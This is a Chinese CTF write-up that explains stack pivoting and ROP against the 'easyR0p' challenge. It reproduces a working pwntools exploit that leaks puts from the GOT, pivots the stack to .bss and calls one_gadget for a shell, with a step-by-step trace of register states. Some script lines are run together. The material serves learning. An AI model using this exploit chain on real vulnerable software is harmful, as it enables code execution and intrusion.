# 栈迁移-ROP

题目描述

这里给出题目链接

https://github.com/LeeHaming/CTF-learn/blob/master/easyR0p/easyR0p

程序的结构很简单,main()函数中有一个while(1)的循环,循环中rop()函数执行。

rop()中有明显的栈溢出,最开始给s申请的内存空间为:0x40;然而read()可以读入0x50字节。

于是就可以通过溢出修改程序控制流。

解题思路

题目是别人解析出来的,我目前只能达到能看懂exp的境界…….这里就是翻译别人的exp吧

1.checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

可以看到启动了”栈不可执行”的保护机制;也就限制了不能在栈上运行代码。

2.寻找二进制文件提供的信息

system()

没有找到可用的system()函数

方法一:readelf -r easyR0p
方法二:在IDA-pro中使用alt+t;查找system
方法三:直接看IDA-pro中的.got.plt段信息

/bin/sh

没有找到可用的”/bin/sh”字符串

在IDA-pro中使用alt+t;查找system

可泄露的函数

readelf -r easyR0p

这里泄漏的是puts()函数地址;满足:地址中没有0a,并且是@plt函数

libc(offset/gadget/puts)

ldd easyR0p

可以知道,程序执行过程中使用libc.so.6,于是我们可以得到相应的offset

#python
from pwn import *
elf=ELF("./libc.so.6")
puts_off=elf.symbols['puts']

one_gadget ./libc.so.6

可控制字节数

gdb eadyR0p
pattern_create
pattern_offset

可以看到发生了栈溢出,此时esp(栈顶)内容为IAAeAA4A

于是我们可以找到,我们一共可以输入80bytes内容,其中最后8bytes内容可以控制程序的执行流。其中读入到s的字符串长度为64byts,这时的栈情况为:

------------------------------high-address
64bytes 合法内容
8bytes old-ebp
8bytes ret-address
-------------------------------low-address

可见我们可以控制的长度一共有16bytes。

3.思路整理

linux漏洞利用之 – ROP探究

文章是关于ROP姿势的阶段性总结,里边针对不同的函数情形采取不同的方法构造ROpe

从上文可以看到,已知的二进制程序中没有可用的system()地址、/bin/sh地址、也没有可用的execve();可控制字节数为16bytes,并且栈不可执行

one_gadget && system(“/bin/sh”)

如果是system(“/bin/sh”),需要从libc.so.6中找到system()、/bin/sh,并设计执行。相比而言,在这种情况下,one_gadget()(即exceve(“/bin/sh”))更容易。因此想办法构造执行one_gadget。

于是需要获取libc_base_address—>one_gadget_address

获取libc_puts

通过puts()地址泄露,可以得到libc_base_addres

上述两个操作无法在16bytes内完成,于是需要在可读写、可执行的bss段进行构造,也就是说需要进行栈迁移

栈迁移

leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器

How to ROP

覆盖EBP实现栈迁移

注释: 利用的时候利用read_syscall 到execve_syscall 利用返回值当参数

注意积累栈迁移的做法,pop ebp, ret 并且利用read函数的写入功能,将执行地址写入到数据段,然后栈迁移到数据段(pop ebp; ret), 再利用 leave; ret p32(pop ebp;ret) + p32(buf - 4) + p32(leave; ret) 这样进行栈迁移

引文中提出了栈迁移的方法,需要借助:read()以及”leave/ret”将ebp修改到数据段bss;同时将希望执行的exp指令写入到数据段中,在数据段构造函数栈。

我们可以看到,该二进制文件中存在可用的read()函数,并且有可用的leave;ret

这里值得注意的是0x4006f5这行中的s是-40h;也就是从fd中读取bytes到[ebp-40h]

解读已有的exp

pop_rdi=0x4007d3    #0x00000000004007d3 : pop rdi ; ret
pop_rsi_r15=0x4007d1    #0x00000000004007d1 : pop rsi ; pop r15 ; ret
pop_rbp=0x400625    #0x0000000000400625 : pop rbp ; ret
puts_got=0x601020
puts_plt=0x400580
bss=0x601100    #.bss NOBITS  0000000000601060  00001060??rop  = 'a'*0x40
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
r.send(rop)rop  = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(puts_plt)
rop += p64(pop_rbp)
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
rop += p64(0xdeadbeef)*2
rop += p64(bss+0x40-8)
rop += p64(0x40071C)
r.send(rop)
pause()time.sleep(1)
data=r.recv(1000)
data=[i for i in data.split('\n') if i!='']
leak=data[-1]
leak=leak.ljust(8,'\x00')
leak=u64(leak)
print 'leak puts-->',hex(leak)libc=leak-0x6f690
one=libc+0x4526arop  = 'c'*0x28
rop += p64(one)
rop += '\x00'*0x20pause()
r.send(rop)
r.interactive()

这段exp还不是我写的,下面我将详细解析每一小段的含义以及运行之后的内存情况。

用到的address

pop_rdi=0x4007d3    #0x00000000004007d3 : pop rdi ; ret
pop_rsi_r15=0x4007d1    #0x00000000004007d1 : pop rsi ; pop r15 ; ret
pop_rbp=0x400625    #0x0000000000400625 : pop rbp ; ret
puts_got=0x601020
puts_plt=0x400580
bss=0x601100    #.bss NOBITS  0000000000601060  00001060??
ROPgadget --binary easyR0p --only "pop|ret"

获取puts_plt和puts_got方法:

方法一:命令行
readelf -r easyR0p
gdb中使用:info func
方法二:在IDA-pro中查看.plt段内容和.plt.got段内容

但是至于那个bss的地址为什么是这个我就比较迷了……因为当我使用命令查看.bss地址没有找到这个,并且IDA中也不存在这个地址对应的内容。我目前猜测的是,是在bss段自己开辟了一段空间。

readelf -S easyR0p

我目前只能找到这个数字….emmmm离0x601100不太远…..这个问题以后慢慢解决

至此,这几个数字就解释完了

第一段rop

rop  = 'a'*0x40
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
r.send(rop)

这段构造了一个0x50长度rop;发送之后栈结构为:

ebp=0x7ffe24397020
esp=0x7ffe24396fe0

接着的代码段如下,这几条指令执行完之后会将[rbp-0x40h]地址给rdi;这就是puts函数的参数;然后puts()执行之后有leave;ret;然后会:

esp=0x7ffe24397020
ebp=0x601180
esp=0x7ffe24397028
eip=0x4006f5
esp=0x7ffe24397030
rdi, rsi, rdx, rcx, r8, r9 (x64函数传参过程)
leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器

到这里,就将程序流劫持到0x4006f5了,这里会进入read()

这里是在处理read()函数的参数,其中fd:edi为0;count:edx为50;buf:rsi为[rbp-0x40],即0x601140。也就是要从stdin读入0x50字节到数据段0x601140处。这里就相当于栈迁移了,接下来就要发送第二段rop,将exp指令写入到数据段中。

第二段rop

rop  = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(puts_plt)rop += p64(pop_rbp)
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)rop += p64(0xdeadbeef)*2
rop += p64(bss+0x40-8)
rop += p64(0x40071C)
r.send(rop)

第一段rop提供了Read()函数,将上边这段rop写入到0x601140中

接下来的代码段内容为:

此时

rdi=rax=0x601140
rbp=0x601180
rsp=0x7ffe24397030
然后将rdi指向的内容puts(结果时栈结构什么的都木有变化呀...)
#leave;ret之后(mov rsp,rbp;pop rbp;pop eip)
rsp=0x601180
rbp=[0x601180]=0x601138
rsp=0x601188
eip=[0x601188]=0x40071c
rsp=0x601190

这时ret命令结束的时候,返回到0x40071c地址处,这里的代码段为:

于是再一次执行leave;ret

#leave;ret之后(mov rsp,rbp;pop rbp;pop eip)
rsp=0x601138
rbp=[0x601138]=0x0
rsp=0x601140
eip=[0x601140]=0x4007d3

接着开始执行0x4007d3;栈结构变为

#0x4007d3 pop rdi;ret
rdi=[0x601148]=0x601020
next_address=0x400580   #puts_plt

接着开始执行puts_plt;这个过程结束之后可以认为栈结构没有发生变化;但是将rdi(0x601020)中的内容(puts_address)puts出来了;ret之后进入到0x400625;

#0x400625:pop rbp;ret
rsp=0x601160
rbp=[0x601160]=0x116080
rsp=0x601168
eip=0x4006f5
rsp=0x601170

这之后就进入到0x4006f5;read()函数;这就引导我们输入下一个rop了;进入下一个rop之前,需要先弄清read()函数的参数

可以看到,和上次一样,从stdin读入0x50h字节到0x601140中;也就是将下一段rop读入到0x601140中

第三段rop

rop  = 'c'*0x28
rop += p64(one)
rop += '\x00'*0x20

此时

rbp=0x601140
rsp=0x601168
eip=[rsp]=0x00007f16ea27c26a

接下来就执行one_gadget了

技能总结

在IDA-pro中使用alt+t;查找system
checksec
readelf -r easyR0p
ldd easyR0p
one_gadget ./libc.so.6
gdb eadyR0p
pattern_create
pattern_offset
ROPgadget --binary easyR0p --only "pop|ret"
gdb中使用:info func
readelf -S easyR0p
rdi, rsi, rdx, rcx, r8, r9 (x64函数传参过程)
leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器
#python
from pwn import *
elf=ELF("./libc.so.6")
puts_off=elf.symbols['puts']

pwn-栈迁移-ROP相关推荐

  1. BUUCTF栈迁移ciscn_2019_es_2

    1.checksec+运行获取基本信息 32位+NX堆栈不可执行 2.常规IDA操作 1.main函数 并没有什么 2.int vul()函数 程序主体,信息很多 1.两次read都在往同一个地方s处 ...

  2. 关于栈迁移的那些事儿

    一.前言 现在的CTF比赛中很难在大型比赛中看到栈溢出类型的赛题,而即使遇到了也是多种利用方式组合出现,尤其以栈迁移配合其他利用方式来达到组合拳的效果,本篇文章意旨通过原理+例题的形式带领读者一步步理 ...

  3. 栈劫持(栈迁移)介绍

    栈劫持 栈劫持也可以称为栈迁移,用来解决栈本身可以利用的空间不够用,一般是溢出空间不够 用,没办法有效构造rop链.这个时候我们可以通过劫持ebp的方式,利用leave 和 ret两个汇编指令来做 到 ...

  4. 遗留系统的技术栈迁移

    什么是遗留系统(Legacy System)?根据维基百科的定义,遗留系统是一种旧的方法.旧的技术.旧的计算机系统或应用程序[1].这一定义事实上并没有很好地揭露遗留系统的本质.我认为,遗留系统首先是 ...

  5. [Black Watch 入群题]PWN 栈劫持的利用

    32位程序,开启了nx保护 没有system函数和'/bin/sh'的字符串,这边需要我们自己去想办法构造system('/bin/sh') 思路 第一次输入的参数s,那边我们可以写入很长的数据,我们 ...

  6. 【CTF资料-0x0002】PWN简易Linux堆利用入门教程by arttnba3

    [CTF资料-0x0002]简易Linux堆利用入门教程by arttnba3 老生常谈,[GITHUB BLOG ADDR](https://arttnba3.cn/2021/05/10/NOTE- ...

  7. ichunqiu--try to pwn.md

    ichunqiu–try to pwn ICQ Baidu CTF try to pwn 好吧,这个题目其实还没有做到我想要的地步,我还想再深度挖掘一下,但是周末了,该写writeup了,就先把这部分 ...

  8. CTF比赛PWN题sgtlibc通用快速解题框架

    CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...

  9. 栈迁移过程记录,栈指针rsp、rbp、rip、leave变化过程

    栈迁移 利用条件: 能对bss段进行操作(可写.可执行) 有必要的ROP可用 通过ROP leave_ret 改变ebp的值伪造栈,到达栈迁移的目的.下面就一个题目的一个payload进行调试,逐指令 ...

最新文章

  1. 一个古老而优雅的电子线路
  2. 对Erlang开发者的几点建议
  3. Reversing Ethereum Smart Contracts: Part 2
  4. python 中的理解x[:]
  5. c++读取txt文件中的数字_在Python中读取包中的数据文件的三种方式
  6. java ArrayList转数组
  7. java面试题十四 基本类型的默认值
  8. uc3842开关电源电路图_UC3842 的原理及应用详解 (上)
  9. 如何了解Google Analytics(分析)和网站访问量
  10. 实践:创建异步 HTTP 处理器
  11. SQL 安装在DC上的问题
  12. 联想y470上三代cpu_AMD三代线程撕裂者首测 单核不再是问题(二)
  13. set的find()函数
  14. 【NLP】蓦然回首:谈谈学习模型的评估系列文章(一)
  15. java 将bean转化为map,将javabean转化为map对象
  16. python自动化运维工程师面试题_运维面试题(含答案)
  17. java system.gc 作用_JVM源码分析之SystemGC完全解读
  18. 爱加密加密Android apk 使用步骤
  19. 线性调频信号MATLAB仿真
  20. R3LIVE代码详解(一)

热门文章

  1. 逆变器 变频器 伺服驱动器 PCB图+原理图+源码
  2. 闲谈【Stable-Diffusion WEBUI】的插件:美不美?交给AI打分
  3. with open相关用法
  4. Unity中行星和恒星的旋转——Rotate和RotateAround
  5. 警惕!又一起网络钓鱼攻击事件:Uniswap被盗810万美元
  6. datatable invalid json format
  7. 适用于 Android 初学者的 Dagger 2 - DI 第一部分
  8. 基础篇:3.1.3)注塑件-机械紧固
  9. VulnHub-MOMENTUM: 1靶机
  10. Animate.css的详解